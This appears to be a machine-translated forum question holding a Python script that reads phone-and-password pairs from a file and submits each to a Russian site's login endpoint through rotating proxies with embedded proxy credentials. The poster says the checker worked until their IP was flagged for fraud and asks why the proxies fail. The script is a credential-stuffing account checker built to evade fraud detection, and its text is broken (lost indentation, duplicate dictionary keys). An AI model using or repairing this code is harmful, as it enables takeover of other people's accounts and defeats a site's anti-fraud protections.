蟒蛇脚本
import requests
file = open('1.txt').read().split('\n')
url = 'https://****.ru/site/loginPopup'
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'}
session = requests.Session()
session.headers.update(headers)
for account in file:
session = requests.Session()
session.headers.update(headers)
r = session.get(url)
proxies = {
'http':'195.208.90.112:****:BPM8dHtL:rMYkPkh1',
'https':'195.208.90.112:****:BPM8dHtL:rMYkPkh1',
'http':'195.19.169.56:****:BPM8dHtL:rMYkPkh1',
'https':'195.19.169.56:****:BPM8dHtL:rMYkPkh1',
'http':'195.19.195.7:****:BPM8dHtL:rMYkPkh1',
'https':'195.19.195.7:****:BPM8dHtL:rMYkPkh1',
'http':'195.208.117.187:****:BPM8dHtL:rMYkPkh1',
'https':'195.208.117.187:****:BPM8dHtL:rMYkPkh1',
'http':'195.208.117.101:****:BPM8dHtL:rMYkPkh1',
'https':'195.208.117.101:****:BPM8dHtL:rMYkPkh1',
}
try:
phone = account.split(":")[0]
password = account.split(":")[1]
payload = {
'login_type': '1',
'login':phone,
'password':password,
'type': 'authorization',
'fcm_token': "",
}
r = session.post(url, data = payload, proxies = proxies, headers = headers)
问题的本质是它在没有代理的情况下检查良好,但在我的 IP 进入欺诈之前。我设置了一个代理,因此来自站点的响应与没有代理的响应相同,我得出结论,代理在此脚本中不起作用,代理本身正在工作,我可以使用它们访问站点。